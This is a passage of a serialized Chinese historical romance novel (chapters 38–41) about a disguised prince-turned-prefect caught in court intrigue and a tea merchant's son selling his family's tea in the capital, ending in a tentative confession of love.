“做梦吧你!”娉婷忽然明白了,“哦,你写信告诉父皇自己想回京,然后父皇就肯定不可能让你回京,你就留下来了。” 周启眉毛一挑,露出得意之色,继续荡起秋千。 而此时皇帝的确接到了徽州的弹劾奏折,是余年与一众大小官员一起上的折。 “皇上,这徽州知府周开真是胆大妄为,如此行径如何能够做一州知府?没想到李博去了短短半个月就被周开拿下了。皇上,周开此举定是有不可告人的目的,请皇上罢免周开知府之职,选派得力之人接任。” “皇上,李博身为钦差,怎么也算是皇室成员,在徽州做出如此不耻之事,还请皇上从重处罚。” “皇上,臣附议。” “臣附议。” “臣附议。” 皇帝真是一个头两个大,周启和李博可是自己看着长大的,这么明显的陷害,因为不能暴露周启的身份也不得不处置。 “许卿,你觉得呢?” 许丞相虽然一言不发,却不是什么也没想,“启禀皇上,李博身为钦差,查案奏折还没上来就被人弹劾,实在蹊跷。不过说来也奇怪了,这钱记,他们当了多年朝廷供奉,偏偏今年就出了事,周开也是今年去任知府的。李博是第一次办查,也出了事,皇上,这还真是巧啊。” “许大人,身不正,出事是早晚的,有什么巧不巧的。”李天时赶紧抢过话。 “皇上,李博的奏折一直没有来,周开也没有自辩奏折,臣觉得还是需要再调查调查。” “再调查调查?哼,这个周开已经将钱记和李博都拿下了,再派一个人去让他玩弄于鼓掌之中吗?” “哈哈,尚书大人,周开不过刚刚十八岁,还是出仕的第一年,居然能把一个商场的老手收归麾下?还能把我们的钦差大人弄得干冒风险和他一起掩护钱记?周开的书读的是有点多了,考个状元的同时还能修习这么多驭人之术,哈哈,皇上,老臣实在是佩服呀。” “哈哈哈。”皇上也被逗笑了。“话说回来这个周开也就是为官不谨慎,倒也没什么,这个李博……这样吧,让他在徽州好好调查钱记,查不清楚就别回来!两人每人罚俸半年以儆效尤。” “皇上,如此轻罚怎能让百官信服?” “李博是朕看着长大的,他的人品朕是信得过的,传旨给他,没有查明真相之前,朕不会偏听偏信,但是他若敢仗着朕的信任胡作非为,朕绝不会轻饶了他!”其实这话,皇帝是想说给周启听的,他也知道周启必定能明白。 李贵妃在宫中听说了此事,觉得真是诸事不顺,似乎有人处处掣肘。“哥,我看你这个事情真是难办,到底成不成呀!” “周开,哼,真是半路杀出个程咬金。” “舅舅,现在怎么办?那个张海怎么如此没用!真是一事无成!” “三皇子,幸亏我在京城与齐家谈妥了,他们拿到了朝廷供奉,给咱们七成利,这一年我们好好筹谋,弄垮了钱记,所有利润都是我们的。那个周开早晚叫他死无葬身之地,余年一上任,徽州就是您的大后方了。等五皇子回来,还怎么跟您较量。” “舅舅还是少说些空话吧,能做到才是真的。” 李天时的压力也不小,为了日后的荣耀,现在不管用什么手段都要将徽州拿下。张海是自己用了多年的人,况且还有张广盯着,做事应该不会懒怠。看来现在最大的障碍就是周开,一定要想办法把他移开。 李博倒是万事不愁,天天拉着周启四处游玩。 “你倒是破罐子破摔。”这天周启与李博行于街上,周启对李博也是服气。 “这怎么能是破罐子破摔呢,我想清楚了,现在不是钱记的事情,现在是那个余年。” “余年怎么了?” “他跟那个张海勾搭了,他想扳倒你,咱们就先扳倒他,张海一个商人能怎么样?” “你查清楚张海的背景了吗?” “还没有。” “拿你小犬牙那个人呢?” “还没有查出来。” “那个妓*女呢?” “还没找到。” “李婶呢?” “也没找到。” 周启见李博也不心虚,真不知道说他什么好,要不是在大街上,非得抽他一个大耳刮子。周启白了李博一眼,转眼看见陈明阳大摇大摆走在街上。周启下意识猫了一下腰,拍了李博胳膊两下,示意他赶紧躲旁边的小巷子里。 “干嘛?” “嘘,你看那,陈明阳。” “哪呢哪呢?” “小点声!”周启给李博指了一下。 “瞧他那样。”李博从周启身后走到主路上,正好陈明阳走了过来,李博一手搂在陈明阳肩膀上。 陈明阳不知道是谁,刚一转头看肚子上就挨了一下。幸亏陈明阳自小习武,手疾眼快,他下意识给了李博一下,两人分开。周启在旁边真是服了李博,一看陈明阳就是练过武,这样下去李博还不一定能赢。 周启环顾周围,旁边一个卖伞的店铺。周启掏出手帕蒙住脸,顺手抄起一把伞,在陈明阳身后牟足了力气一挥。 陈明阳觉得后边有风,一弯腰躲过了周启的偷袭,三人打在一处。百姓们见有人打架,都来围观。 还没打两下,一队衙役跑了过来,“住手!都抓起来!”为首的衙役吩咐到。 周启见情况不妙赶紧拉着李博逃跑,两人穿街过巷甩开了所有人,“哈哈哈哈,好久没打架了。” “臭小子,还真有两下子,都没捞到什么便宜。” 周启将蒙面摘下来放在腰间,下意识一摸,自己的玉佩不见了。“哎。” “怎么了?” “玉佩,我回去看看。” “哎,现在回去?” “没事,他没看见我。你先回驿站吧!” 周启回到刚才打架的地方,仔细寻找。 “周大人?” 周启觉得脊背发凉,转身见陈明阳面色凝重看着自己,“陈明阳?” “周大人在找这个吗?” 周启一看的却是自己的玉佩,说了一句“不错”,便伸手要拿回来。 “周大人。”陈明阳拿着玉佩的手往回一躲,“这么说是周大人刚刚偷袭我了?” 周启面不改色心不跳,“本官不明白你在说什么!” “周大人,若找人证应该很容易吧。” “陈明阳,本官不得不提醒你,诬陷一州长官是重罪,况且民告官,不管事由,先打二十板子是国法,你可想好了!” 陈明阳听这话愣了一下,他也知道没法指控周启什么。 “哥。”娉婷不知道从哪冒出来。 周启这个时候最不想看见她,又不能说出来,只好强装镇定。娉婷却没心没肺走了过来。“哥,你干嘛呢?”娉婷原本只看见了周启,一回头看见陈明阳面色难看,“陈明阳?你怎么也在这?” “周大小姐,若您有什么不满,咱们摆到台面上说,不至于派人来打我陈明阳的闷棍吧。” 第三十八章 学做生意(上) - 风吹繁花散落时 - 红酒羊排 娉婷一头雾水,看了看周启,见哥哥下意识摸了自己鼻子一下。“哥,你干嘛了?” “啊?我,我什么也没干啊。” “成了吧,周大小姐,做戏也不能太假了!” “我做什么戏了?” 陈明阳懒得理她,抬腿就走。周启说了一句,“玉佩。”,陈明阳抬手一扔,周启正好接住。 娉婷看着陈明阳的背影,“哥,你玉佩怎么在他手上?” 周启低头系玉佩,也不说话。 “嘿,这小子,一点礼仪都不懂,什么态度。” 娉婷回身一看,李博慢悠悠走了过来,对着陈明阳走开的方向发牢骚。 “你怎么也在这?你们干嘛了?” “帮你教训教训他,打了他一顿。” “谁叫你们打他了!”娉婷跺着脚急了。 “你不说他一直欺负你?” “哎呀!”娉婷看看周启又看看李博,“哼。”转身走了。 李博和周启觉得奇怪,“嘿,她什么意思呀?”李博指着娉婷,又看向周启。 周启更不明白,以前帮妹妹出气,她都没这样过,“谁知道呢,你就多余管她。” “呦,这可是你妹妹,你不想管你躲墙角干嘛?” “谁躲墙角了?”周启打死不想承认自己狗拿耗子多管闲事了,说完故作镇定,迈着方步走了。 李博站在原地,看这兄妹一前一后走了,双手交叉敷于胸前,“嘿,真邪了,成我的不是了。” 陈明阳心情烦躁,回到家看见一群人正围在一起。 “买定离手啊,买定离手。” “大大大大。” “小,小,小,小。” “十一点,小。” “哎呀。” “哈哈哈,赢了!” 陈明阳往前走了两步才看清,李老四拿着筛盅“哗哗”摇着,其他人面前多多少少有几个铜板。 “买定离手!” “李老四?” “等会儿,正忙着呢!”李老四正看大家是否都买定离手了,“开了啊,开了啊。” “李老四!” 陈明阳大喊一声,中气十足,大家回头一看见是少东家都不敢说话了。只有李老四笑呵呵,“嘿嘿,少东家,我们,我们没干什么,就是,嘿,这不是发月例了吗,大家消遣一下。” 陈明阳皱着眉,看了一圈大家,“发月例就赌博?” 没人敢说话,只有李老四,“少东家,俗话说得好,小赌怡情大赌伤身,我们这……” 没等李老四说完,陈明阳双手一胡撸,将所有赌资划到一起,拿在手上。 “哎哎,少东家,少东家。” 大家都急了,李老四捂着陈明阳的手,“少东家,我们不玩了,不玩了。” “松手!” “少东家。”李老四还想求情。 “松手”陈明阳字字铿锵,怒气冲冲盯着李老四。 李老四终于犹犹豫豫松手了,陈明阳将铜板都拿起来,来到旁边的湖旁,一使劲全扔到湖里了。 “少东家,少东家。” “哎呦,我的钱呀!”李老师抱着栏杆哀嚎起来,“我的钱呀!哎呀!” 陈明阳才不管他们,转身走了。 李老四脱衣服、脱鞋要去水里捡回来。 “哎,老四老四,可不能下去啊!” “怎么了?我一定得去捞回来!” “下边有鱼,下边有鱼!” “有鱼,正好,正好捞条鱼,给我补补身子。” “哎呀,不是,是鳄鱼。少东家从南边带回来的,凶着呢,那大嘴,那牙。上次有个人喝多了掉下去,腿都咬折了,这还是好的,差点命都丢了!” “鳄鱼?” “恩,你没看见过吗?” 李老四想起经常看见这里边有“三根”木头飘着,他们说是鱼,之前他还不信。有一天李老四看见一个大家伙在晒太阳,嚯,长的那叫一个丑,那两排大牙,看着都慎得慌。 李老四一拍大腿,“哎呀,我的月例,我怎么活呀!” 此时的吴怡与钱宁终于进了京城。吴怡与钱宁同骑一匹马,看街市热热闹闹,熙熙攘攘,小商贩挑着货担吆喝着,妇人在远处的玩具货摊前逗弄着孩子,天气炎热,卖西瓜的摊位前围满了人。 “少东家,京城真热闹!”吴怡兴奋异常,东张西望。 钱宁故意放慢了马,十分悠闲得向客栈而去。 “少东家,为什么不直接去齐家呢?” “虽然现在是着急的事情,但是不能衣冠不整,仪容仪表在这种时候很重要,否则在谈判中就会处于劣势。” “哦,少东家,你怎么懂这么多啊。” 钱宁总被莫名其妙夸奖,每次都不知道说什么好,“你也去换衣服,稍事休息我们就去齐家。” 两人闲庭信步来到齐家,钱宁递上名贴,门口小厮只看了一眼不敢怠慢,让进院中。吴怡看这院落,规规整整,前院居然一棵树都没有,只两个大水缸放在院子中央,缸中也没有莲花和小鱼,毫无生气的样子。 两人在偏房稍等片刻,被让进前厅。只见上位坐一五十几岁的的男子,山羊胡子,黝黑的脸,一双小眼睛炯炯有神,见钱宁进来只上下打量钱宁,即不起身也不说话。 “晚辈徽州钱记钱宁,拜见齐老板。” “贤侄请坐。” “谢齐伯伯。”钱宁在隔开齐心主两个椅子的第三把椅子坐下,吴怡站在钱宁身后,“齐老板,小侄看您真是容光焕发啊。” 齐心主微微一下,“少东家,钱万全可好啊?” “托齐伯伯的福,我爹他挺好的,还让我带了文房四宝送给齐伯伯,这都是我们徽州出产的。”说着,吴怡将准备好的礼物恭恭敬敬捧了出来。 齐家的管家接过礼物,往齐心主面前一展,齐心主也不看,“多谢少东家了,还如此有心。”管家将礼物收起。 “这不过是一些特产,小侄第一次来拜访您,应该的。” “少东家第一次来京城?” “是啊,小侄第一次来,一路上看风土人情也是十分繁荣。” “那是自然,这里是天子脚下,不是一般城镇可以比拟的。” “齐老板说的是,京城是大周的京城,这里的商贾受朝廷庇护更甚,与朝廷联系也更加紧密。” “哈哈哈,贤侄也不用绕圈子了,你是为了朝廷供奉来的吧,可是朝廷供奉是朝廷给的,我们齐家吞下肚的东西是不可能吐出来了,当年这还是钱万全教我的。” 钱宁虽然不知道钱万全与齐心主有什么不愉快的过往,可是在商场上难免有摩擦,只好笑着说,“齐伯伯,据我所知齐家并没有茶园吧,我们钱记的茶一直供奉宫廷,不如齐伯伯先尝尝。”说着看了一眼吴怡,吴怡将茶拿出来交到管家手里。 齐心主摆了摆手,“不必了,钱记的茶我们每年也能得到一点,品质如何,我心里有数。只是你们茶园刚出了问题,我从你们那里进货,不是自己给自己挖坑吗?” “齐伯伯,既然您知道,我也就不绕弯子了。若是我们钱记茶园真有问题,那我爹第一个就会被抓起来,我们钱家也已经走到了末路,就不会在这里与齐伯伯喝茶了。” 齐心主看了钱宁一眼,思虑一下,“贤侄啊,你们钱记的茶恐怕一时半会没人敢喝呀。这样吧,我的却想要,但是不能有你钱记的招牌。” “齐伯伯。” 齐心主伸手阻拦了钱宁,“价钱我只能给你朝廷原先给你的七成,这两条你都能接受我就全要,你要是不能接受,少东家,就请便吧!” 此言一出,钱宁与吴怡对视一眼,即使吴怡不太懂,也知道这价格太低了。 钱宁告退出来,两人行于街上,愁容不展。 “少东家,这齐家给的价钱也太低了。” 钱宁看了吴怡一眼,“价钱低是我早就预料到的,可是不能有招牌……,唉。” “少东家,东西卖出去了不就好了吗?” 钱宁看了一眼吴怡,有低头沉思,吴怡看得出钱宁一时拿不定主意,“少东家,虽然我不太懂,可是我觉得货卖出去了,大家能赚到钱不就好了吗?” “吴怡,生意做大了就不是单单为了赚钱了。不过齐老板说的对,我们钱记的茶现在根本没人敢要,他还是看在钱记这么多年的声誉上,能卖出去比都砸在手里好多了。” 两人回到客栈,钱宁给钱万全写信告诉他京城的情况。 “吴怡,我们要在这里几天,也要找找别的买家。” “恩,好,少东家我相信你!” 吴怡不知道哪里来的信心却给了钱宁莫大的安慰。 之后的两天,钱宁带着吴怡拜访了京城所有的潜在客户,可是几乎没有人愿意接收钱记的茶,很少的一部分人只能收一部分茶。吴怡也知道了做生意的不易与压力,“少东家,别灰心,我们一定能找到的!” “这么多的货,实在不好流通,这两天也辛苦你了。” “不幸苦,少东家,能跟着你跑生意,我长了不少见识呢。” “先吃饭吧,吃完饭我们再去批发茶叶的市场看看。” 晚上两人回到客栈,钱宁为吴怡算了一笔账,如果将这几天有意向的商户都加在一起还只能吞掉六成的货。如果卖给齐家,就能一下子脱手,但是只有价格的七成,所以还是卖给齐家爽快高效。 “少东家,那就卖给齐家呀。” “给我们以往价格的七成,就等于是我们运来的货只卖出去七成,还不能有我们的招牌,唉。”钱宁想了想,“吴怡,明天张家兄妹就来了,我与他们再商量商量吧。” 第三十九章 学做生意(下) - 风吹繁花散落时 - 红酒羊排 张浩兄妹终于进城,将货物放在租来的仓库派专人看守,兄妹二人来与钱宁回合。 “齐心主也太过分了,什么七成,他怎么不去抢!” “张灵。”张浩听妹妹义愤填膺,及时制止。 “钱宁哥哥,若是你将货卖出去六成,剩下四成我可以带到西凉去卖。” “真的?”吴怡突然兴奋起来,这样钱记的茶不仅全部卖出去了,还能有不错的利润,“张小姐,你真厉害!” “张灵!这是钱伯伯和爹商量好的,不去西凉,要不然我们为什么来京城转了一圈。” “哥!现在人家都欺负到我们头上了,再求稳,我看以后都要被齐心主压得死死的了!” “那也不能去西凉!要不这两天我们再去找找,看看还有谁能吞下这些货。” “放着利润不去赚,在这里求别人,贱卖自己的货?哥,你到底怎么想的!” “我知道你也是想帮忙,可是钱记现在经不起去西凉开拓商路。若是后年,哪怕明年也应该来得及,只是今年,生死存亡。茶叶必需尽快脱手,为的不是赚取利润,而是要给商户们信心。就是告诉大家钱记不会因为朝廷供奉丢失而一蹶不振,现在只能求稳!” 大家齐齐看着钱宁等他这个少东家拿主意。钱宁站在窗边思虑良久,“我们钱记现在的却需要求稳,我们的茶以后也需要长期的合作伙伴,不是齐家也会是别人,今年先保住茶庄才是紧要。” “少东家,但是齐家不让贴出钱记的招牌啊。”吴怡在旁边提醒。 “后天爹的书信就能到了,若是爹同意,就直接卖给齐家,如是不同意,我们再找商户吧。”钱宁似乎很累了,张灵还想再争取一下,被张浩拉走了。 吴怡走上前来,“少东家。” “吴怡,你说得对,货卖出去了才是关键,有了钱,自己就能周转,茶庄就能保住,伙计们也有饭吃。” “少东家,我……”吴怡知道钱宁不想这样,可是为了钱记,为了伙计们只能忍了,吴怡拍了拍钱宁的后背,“少东家,我相信你,以后钱还会赚回来的。我明白,这茶园就是生蛋的鸡,保住茶园,以后还能赚回来。” 钱宁听了这话,觉得稍稍宽心,也突然有力气了一样,“好,我明年一定能把今年的损失赚回来!” 钱宁恢复了生机,周启却没这么高兴。周启与李博接到斥责诏书,周启一耳朵就听出来皇帝骂李博的话是骂自己的,当天晚上就高烧不退。 “嘿,哪受过这委屈啊,连个申辩的机会都没有。” “父皇真是,居然听那个余年胡说八道!” “皇上也没办法,这么多眼睛看着呢,我们在这的却什么证据也没找到。幸亏皇上知道我们,要不然,现在,嘿,没准牢里呆着去了。” “娉婷姐姐?”钱朵这两天没见娉婷,以为她还在生自己的气,想来知府衙门看看,还没进门就看见娉婷和一个男人在大门口说话。 “钱朵?你来干嘛?”娉婷声音十分生硬。 “娉婷姐姐,那天是我不好,你别生气了。我哥哥已经到京城了,不如我写信给他让他去你家看看你父母,茶叶可是现成的,请长辈们尝尝。” 娉婷听要去拜访父母,一下子慌了,赶紧换了一副面孔,“朵朵,我怎么会生你气呢,你哥哥去了京城其实也可以理解,我又不是不讲理的人。” “你不生气就好,我见你几天不来了,还以为你生我气了呢。” “嘿,我哥哥病了,我这不照顾他嘛。” “周公子怎么了?”钱朵听周启病了,着急起来。 “没事,发热,过两天就好了。” “他在哪呢?我去看看他吧。” “没事,大夫给他看了,过两天就好了。”李博在旁边突然搭了一句。 钱朵不认得他,便看着娉婷。 “哦,这是李博,哦,不是,这是钦差大人。” “钦差?”钱朵也已经听说了周启与李博的事情,她怎么也不能相信,今天看见李博长得也仪表堂堂,甚至和自己比起来,想着若是自己与周启站在一起,似乎还要逊色一些。眉毛都皱起来,一动不动看着李博。 李博也不知道她什么意思,心想:难不成看上我了?哼,平时在京城,谁不看五皇子,如今倒有人开了眼终于看自己了。 “钦差大人,小女有一事不明。” “哦?何事?” “大人来徽州查案,如今案情未明,为何不尽快查明真相,还周大人与钱记以清白,大人也好早日回京复命。” 李博心想:肯定是喜欢我,还关心上我了。李博脸上带着笑意,“钱小姐,本官已经掌握了基本事实,真相马上就会浮出水面了,请钱小姐放心。” “那就好,这样大人也能早日回京复命。娉婷姐姐,我去看看周公子。”钱朵一边说着一边向里走。 李博在后边觉得十分突兀,心想:看来还是喜欢五皇子。“六公主,她喜欢你哥哥?” “怎么可能?”娉婷吓了一跳,“她就见过我哥哥两次,话也没说两句。” 李博更加疑惑,心想:不是喜欢五皇子,那怎么要去看他?难道是爱屋及乌?看来真是看上自己了,哦,这该死的桃花运! “你想什么呢?” “哦,没有,没什么,那个我先走了啊,你让他按时吃药啊。” 李博走后,娉婷也进屋,见钱朵坐在床边拿着毛巾给周启擦额头。娉婷巴不得来个女人照顾哥哥,自己也轻松了,便轻手轻脚走开了。 第二天,钱朵一早便来。进屋见周启还睡着,便自己过来试了试周启的额头,与自己额头的温度差不多,终于放下心来。正试着,周启醒了,一看是钱朵,赶紧起来,“你,你怎么进来了?” “周公子你醒了!太好了,饿了吧?我从家里给你带了点吃的。”钱朵一边说着一边把食盒打开,“我给你放着吧,要不然我去帮你把炕桌拿来,你在床上吃?” “啊?我,我起来吃吧。”周启被她弄得不知道什么意思,“那个,我去洗个脸。”周启一指外边,赶紧出来,在廊下正看见连锁,“连锁。” “大人,你醒了?”连锁正端着水过来,一看周启醒了,笑了。 “她怎么来了?”周启压低声音。 “谁呀?”连锁往屋里一看,“那不是钱小姐吗?” “我说你没看见她进来呀?嘿,现在是谁都能进我房间了吗?” “大人莫急,大人莫急,我这就让她走。”连锁端着盆就要进去下逐客令。 “回来!人家来了,还给我带吃的,我怎么能赶人家走呢?你说!” “那……” “行了行了,赶紧洗脸收拾一下吧。” 钱朵正摆放碗筷,见连锁进来拿衣服,对着连锁笑了笑,又探身看了一眼外边,周启正站在廊下等着,钱朵觉得心里不知为什么一暖,继续摆放早饭。 不一会儿周启穿戴整齐进来了。“周公子,赶紧过来吃饭吧。” 周启坐下后,钱朵也坐在周启旁边又为周启盛粥,又为周启布菜的。 周启虽然被人伺候惯了,还是觉得怪怪的,“我自己来就行了。” “周公子,你都生病了,要多吃点,这个姜茶喝了对身体好。”说着,钱朵又为周启倒了一杯姜茶。 “好,谢谢钱小姐。” 周启默默吃完饭,见钱朵目不转睛看着自己,“钱小姐,其实你不用这么麻烦,连锁他们给我做了早饭。” “周公子,院里没个女人是不行的,我听说那个李婶偷盗逃跑了,现在你们这里连个做饭的人都没有,不如我请母亲派个人来,就做做饭也好呀。” “不用了,李博会做的。” 钱朵愣住了,“李,李大人吗?”钱朵突然觉得有点委屈,差点哭出来。 周启心想:反正大家都误会了,干脆破罐子破摔,气死那个余年算了。 “周公子,这种事情其实我以前也听说过,只是我觉得你还是应该慎重,毕竟你父母亲朋不一定可以接受。” 周启听她说的小心翼翼,嘴角不自觉上扬,心想:这样的女孩子还真是可爱。“钱小姐说的我记住了。” 钱朵觉得欣慰,“周公子,你也该去办公了吧,那我中午再来。” “哦,不用了,我今天要出去。” “好吧,周公子,那我先告辞了。”钱朵收拾碗筷,将食盒跨在胳膊上离开。李博从房门旁处走出来,看着钱朵的背影,“什么情况?” “你来了。” “这个钱小姐什么意思?”李博跨过门槛,“她昨天就来看你,今天又给你送饭,她不会喜欢你吧!” “胡说什么呢。哎,你的人查的怎么样了?” “哦,我查过了。”李博坐在周启旁边,“我的人没问题,有一个驿站的小吏跟余年有点亲戚关系,不过他矢口否认,说他当时不舒服在家没出门。” “哼,余年。” 第四十章 突然的表白 - 风吹繁花散落时 - 红酒羊排 钱宁在京城接到了钱万全的书信,与齐家达成了买卖协议。钱宁心情复杂、闷闷不乐,吴怡在旁边看着不知道该怎么安慰。 吴怡刚要想说点什么,一个矮瘦男人跑着冲过来,撞倒了钱宁。 “哎,少东家。”吴怡赶紧过来扶钱宁,“你没事吧!” “没事,没事。”钱宁这一下被撞的不轻,嘴上说没事,艰难起来。 “真是的了!撞了人就跑了!”吴怡扶起钱宁,帮他整理衣服,“哎,少东家,你的荷包呢?” “啊?”钱宁低头一看,荷包没有了,里边装了一张应急的银票,转头看刚才撞自己的人,已经跑远了。 “站住!”吴怡已经开始追了,“给我站住。” “哎,吴怡!”钱宁也跑了起来。 两人追小偷追出去两条街,终于追上了,小偷停下一转身,掏出一把匕首,“追老子干嘛?” “嘿,你赶紧拿出来!” “那得问问你爷爷同不同意!”矮瘦男人说着的同时,边上不知从哪出来两个帮手,全都精瘦。 钱宁一看情形不妙,赶紧来到吴怡身边,“吴怡。” “好小子,还有帮手是不是。” 矮瘦男人才不听她说什么,上来就是一刀,吴怡赶紧躲开,五个人打在了一起。五个人全不会武功,三个小偷都拿着武器,吴怡顺手捡起来一根木棍子,左右一通乱挥。钱宁根本没与人打过架,只能躲闪。 钱宁见一个小偷拿着刀冲着吴怡的后边刺去,钱宁一个箭步冲过去,“小心。”刀子从钱宁的腰间扎过。 “少东家!啊!我跟你们拼了!” 吴怡疯了一般拿着棍子向三个小偷打去,三人躲闪的功夫,突然一人喊道,“官兵来了,快跑!” 吴怡见来了一队衙役,扔下棍子来扶钱宁,“少东家,你怎么样?” “我没事,我没事。” “怎么会没事呢,都流血了。少东家,我们赶紧去看大夫!” “站住!”衙役将两人团团围住,“什么人当街斗殴?” “哎,大人,是那三个人抢我们东西,我们是无辜的!大人,我们少东家受伤了,我们要去看大夫!” 领队的衙役探身张望了一下,“来人,送这个男的去看大夫,这个女的,带走!” “哎,大人,大人,我是冤枉的!我是好人啊!”吴怡最怕差官,这要是带回去一查,自己肯定是出不来了。 “这位差官,我与朋友行于路上,被人抢了荷包,我们来追,不想对方有帮手,我们才还手的,请差官大人明察!”钱宁一手捂着腰,一手拉着吴怡。 “你们是?” “这位差官,在下是徽州商人钱宁,这位是晋中商人张灵。” 这位衙役虽然不知道钱宁和张灵,但是知道徽州的钱记和晋中的张家,“哦,原来你们是商人啊,那你们赶紧去看大夫吧!京城也有一二宵小之徒,请两位不要在外边过分招摇。” 钱宁一抱拳,“多谢差官大人。” 衙役们走后,吴怡搀扶着钱宁去看大夫,“少东家,都是我不好,我不该追他们。”吴怡见大夫包扎,还有血往外渗,觉得愧疚极了。 “没事的,大夫不说了嘛,只是皮肉伤,不碍事的。” “大人,我们需要注意什么?吃点什么好呢?这要几天才能好呢?药去哪里抓呢?”吴怡一口气问这么多问题,大夫听了都头晕,一句话也没说,包扎好就走了。 “大夫,大夫?哎,这个大夫怎么不理人?” “哈哈。”钱宁苦笑两声,“没事的,我真的没事,这有药方子,只要按时换药吃药,过两天就好了,你不用太担心。” “少东家,之前我手受伤了,你那么照顾我,如今你又受伤了,我一定也会好好照顾你的。” “那先谢谢你了。” “嘿,咱俩谁跟谁呀,别客气。少东家,你想吃什么?我给你做。” “咱们还是先回客栈吧,张家兄妹还在呢。” 两人回到客栈,张灵见钱宁脸色不对,询问下才知道他受伤了,“一张银票而已,难道比命还重要吗?”,张灵责怪起吴怡。 “张灵,这不怪吴怡,是我自己不小心。” “钱宁哥哥,你的性命连着多少人呢,若是你自己,我相信你断不会去追的,这要是让钱伯伯和钱伯母知道了,不知道有多心疼呢。” “千万不要告诉我爹娘,这也就是小伤,看着严重而已。” 吴怡站在旁边愧疚异常,“少东家都是我不好。” “看你们,不知道的还以为我怎么了呢。”钱宁见吴怡如此难过,倒自己开起玩笑,“我跟你们说啊,我正好有点累了,现在我受伤了,我可得好好歇着,你们可不能丢下我不管啊!” 吴怡站在钱宁身边笑了起来,“少东家,你想吃什么,我去给你做。” 张灵在旁边生了吴怡的气,听钱宁这话是不想让自己多管闲事,心中更加气吴怡,本想再数落吴怡两句,却被张浩拉了一下,“咱们出去吧,钱宁,你好好休息,我们在外边转转。” 兄妹俩出来,张灵可忍不住,“哎呀,哥,你干嘛不让我说话!” “说什么?” “哥,钱宁哥哥都受伤了。再说了,要是那批货听我的,根本不可能亏这么多!” “我就知道,你根本不是因为吴怡生气,你是为了那批货。妹妹,那是人家的货,咱们就是来帮忙,人家想怎么处置就怎么处置。再说了,人家钱家的东家、少东家都认可了,我们这些外人说了能有什么用呢?” “真不知道钱伯伯怎么想的,这样的条件也能接受!” “他们想要度过难关,什么条件就都得接受。” 张灵之所以来京城就是为了这批货,她早就想到钱宁无法全部脱手,可是她没想到钱家能接受齐家的条件。如今张灵已经是人财两空,没有必要留在这样了,“我要回晋中了。” “那钱宁呢?” “现在他有人照顾。” 张浩见张灵如此低落,知道她一时半会没办法接受,“若你想回去,我派人送你,但是我得留下,不过应该过不了多久就能回去。” 张灵也不接话,自己回屋,在床上想起钱宁对吴怡的眼神,知道自己已经没戏了。不过那又如何呢?货才要紧,回什么晋中,这里可是京城,有的是货。第二天天还没亮,张灵就假意回晋中,但是却往京城的主要货物集散地出发。而吴怡也早早起床,看见张灵离开还打了声招呼。 “少东家,你起了吗?我给你做了好吃的。” “吴怡?进来呀。” 吴怡端着早餐进门,见钱宁正在写东西,赶紧将饭放下,“少东家,吃早饭了。” “嗯,我先写完信,我跟我爹说咱们在京城再待几天,拜托张浩带着队伍回去。” 吴怡呵呵一下,“少东家,那我们在京城干嘛呀?” “京城有很多商家,我们可以去拜访一下。你要是不想跟我去,也可以到京城周边溜达溜达,你不也是第一次来京城嘛。” “好啊!”吴怡听着这提议就高兴,“少东家,我还是跟你一块去吧,你都因为我受伤了,我还得照顾你呢。” “哈哈,不用,我真的是小伤,你要是一直放在心中,我都不好意了。好了,写完了,吃饭吧!” 吴怡自责愧疚,一直在身边照顾钱宁,吃完饭还帮钱宁换药。因为伤在腰上,钱宁还得把衣服撩起来,着实有些尴尬,无奈吴怡真是什么也不在乎,非要帮着换药。钱宁觉得紧张极了,吴怡的手指头一碰自己,整个人都收缩了一下。 “还疼啊?” “啊,不疼了,没事的。”,钱宁觉得自己的脸像发烧了一样,大气都不敢喘。 “好了。” “啊?” “包扎好了,少东家。” “嗯,好。”钱宁赶紧将衣服整理好,“吴怡,那个,你别老叫我少东家了,这里是京城又不是在钱家,你叫我钱宁吧。” “那怎么成呢。” “怎么不成呢,如今我们也是朋友了,你叫我钱宁,我叫你吴怡,我觉得没什么不成的。” 吴怡一直笑呵呵,重重点了一下头,“嗯,好,钱宁公子。” 钱宁也笑了,“什么钱宁公子,钱宁,我叫钱宁。” 吴怡挠挠头,又重重点了一下头,“嗯,钱宁。” 钱宁脸上笑意更加明显,端起茶喝了一口,眼睛却一直看着吴怡,心里也荡漾起来。 “哎,对了,少东家,不是,钱宁,嘿嘿,我刚才看见张小姐走了。” “她应该是回晋中了。你别担心,她也不是冲你,她的心思都在生意上,肯定是回去做生意去了。” “哦,那就好,我还以为她不喜欢我了。” “怎么会呢,你这么好,大家都喜欢你呢。” “是吗。嘿嘿,那就好。” “我也喜欢你。”钱宁说出这话自己都没想到,说话的同时楞了一下。 “我也喜欢你,钱宁,我也喜欢老夫人,都喜欢,大家都对我好,我都喜欢。”吴怡依旧没心没肺,这么轻描淡写得说着喜欢,可这句话在钱宁听来好像一针强心剂,一扫近来的阴霾,温暖又安定。 第四十一章 错过的表白 - 风吹繁花散落时 - 红酒羊排 钱宁与吴怡在京城四处游玩,吴怡哪里都觉得新鲜,“钱宁,京城真热闹,就是每天看见好多大人的娇子。你说这京城的人每天看见大人,心里不紧张吗。哈哈哈,我可住不了这京城。” “你看见大人紧张什么呀?” “啊,老百姓看见大人都紧张啊。” “哈哈,吴怡。明天一早我们去百望山看看,那里虽然比不上黄山,但是肯定没有大人。” “嘿嘿,好,钱宁你真好。” 钱宁每天围着吴怡转,每天被夸无数遍,心里越来越荡漾,心里盘算一定要在京城弄清楚吴怡的想法,好回去跟自己的爹娘说清楚。第二天,钱宁就带着吴怡去爬百望山。吴怡带了一身的行头,走起路来齐了哐当的。 “你干嘛带这么多东西啊?” “你不知道,上次咱们去黄山,我差点死山上,又渴又累又饿又热。今天我可得多带点东西,到时候你就感谢我了。喏,你看,这是水壶,这是干粮,这也是水壶,还有毛巾,还有你的药,还有小零食呢,昨天咱们在那个集市上买的,你不说觉得好吃嘛,我带了好多呢。”吴怡一边给说一边给钱宁展示,“嘿嘿。”吴怡突然凑近钱宁神神秘秘地说,“钱宁。”吴怡还看了看四周,“我还带了一两银子呢,要是你饿了渴了,告诉我,我给你买。” 钱宁看她这样,噗嗤乐了出来,“好,那可先谢谢你了。” “没事,走吧!”吴怡出来积极,一会儿就蔫了,太阳暴晒,山路崎岖,身上背的东西又多。 “我帮你拿吧,怪累的。” “不用,不用了,我能行!”吴怡还逞强,“你身上有伤,不能拿重物。” 